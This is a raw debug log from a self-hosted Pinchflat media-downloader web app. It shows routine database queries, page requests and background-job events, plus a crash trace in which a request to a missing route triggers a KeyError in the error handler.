s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.748 [debug] QUERY OK source="settings" db=0.3ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.750 [info] Sent 200 in 5ms 08:27:31.976 [info] GET /sources/1/media/5/edit 08:27:31.977 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 08:27:31.978 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=294.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 08:27:31.979 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=232.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.979 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=232.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.980 [debug] QUERY OK source="settings" db=0.2ms idle=232.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:31.982 [info] Sent 200 in 5ms 08:27:32.478 [info] GET /sources/1/media/3/edit 08:27:32.478 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 08:27:32.479 [debug] QUERY OK source="media_items" db=0.5ms idle=730.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 08:27:32.480 [debug] QUERY OK source="settings" db=0.3ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:32.481 [debug] QUERY OK source="settings" db=0.3ms idle=501.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:32.482 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=502.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:27:32.484 [info] Sent 200 in 6ms 08:27:38.833 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.605 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:08.835 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:21.279 [info] GET /sources/1/media/8/edit 08:28:21.279 [info] GET /sources/1/media/7/edit 08:28:21.279 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "8", "source_id" => "1"} Pipelines: [:browser] 08:28:21.279 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7", "source_id" => "1"} Pipelines: [:browser] 08:28:21.280 [debug] QUERY OK source="media_items" db=0.6ms idle=1596.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [8] 08:28:21.280 [debug] QUERY OK source="media_items" db=0.7ms idle=1596.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7] 08:28:21.282 [debug] QUERY OK source="settings" db=0.7ms idle=1598.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.282 [debug] QUERY OK source="settings" db=0.9ms idle=686.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.282 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=599.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.283 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.284 [debug] QUERY OK source="settings" db=0.8ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.285 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.287 [info] Sent 200 in 7ms 08:28:21.287 [info] Sent 200 in 7ms 08:28:21.761 [info] GET /sources/1/media/4/edit 08:28:21.761 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 08:28:21.762 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=478.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 08:28:21.763 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=478.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.763 [debug] QUERY OK source="settings" db=0.3ms idle=478.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.764 [debug] QUERY OK source="settings" db=0.3ms idle=479.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:21.767 [info] Sent 200 in 6ms 08:28:38.327 [info] GET /sources/1/force_redownload 08:28:38.328 [info] GET /sources/1/media/102574 08:28:38.328 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102574", "source_id" => "1"} Pipelines: [:browser] 08:28:38.328 [debug] QUERY OK source="settings" db=0.3ms idle=699.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.329 [debug] QUERY OK source="settings" db=0.6ms idle=645.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.329 [debug] QUERY OK source="media_items" db=0.7ms idle=645.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102574] 08:28:38.330 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:28:38.331 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=647.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102574] 08:28:38.331 [debug] QUERY OK source="sources" db=1.1ms idle=647.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:28:38.332 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=3.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2589] 08:28:38.333 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.334 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.335 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.330 [error] #PID<0.274230.0> running PinchflatWeb.Endpoint (connection #PID<0.274229.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59226}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274230.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFtITbempwk2qcAM4UC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59226}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59226}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274230.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-en (truncated) 08:28:38.336 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:28:38.339 [info] Sent 200 in 11ms 08:28:38.439 [info] GET /sources/1/media/9/edit 08:28:38.439 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "9", "source_id" => "1"} Pipelines: [:browser] 08:28:38.440 [debug] QUERY OK source="media_items" db=0.2ms idle=107.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9] 08:28:38.441 [debug] QUERY OK source="settings" db=0.2ms idle=107.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.441 [debug] QUERY OK source="settings" db=0.2ms idle=107.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.442 [debug] QUERY OK source="settings" db=0.2ms idle=107.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:38.444 [info] Sent 200 in 5ms 08:28:38.837 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:46.708 [info] GET /sources/1/media/102574/edit 08:28:46.708 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102574", "source_id" => "1"} Pipelines: [:browser] 08:28:46.709 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1025.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102574] 08:28:46.710 [debug] QUERY OK source="settings" db=0.2ms idle=1026.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.710 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1027.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.711 [debug] QUERY OK source="settings" db=0.2ms idle=62.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:28:46.714 [info] Sent 200 in 5ms 08:28:46.960 [info] GET /sources/1/media/102577 08:28:46.960 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102577", "source_id" => "1"} Pipelines: [:browser] 08:28:46.961 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=278.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102577] 08:28:46.962 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=253.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102577] 08:28:46.963 [debug] QUERY OK source="sources" db=0.5ms idle=252.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:28:46.964 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=253.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", 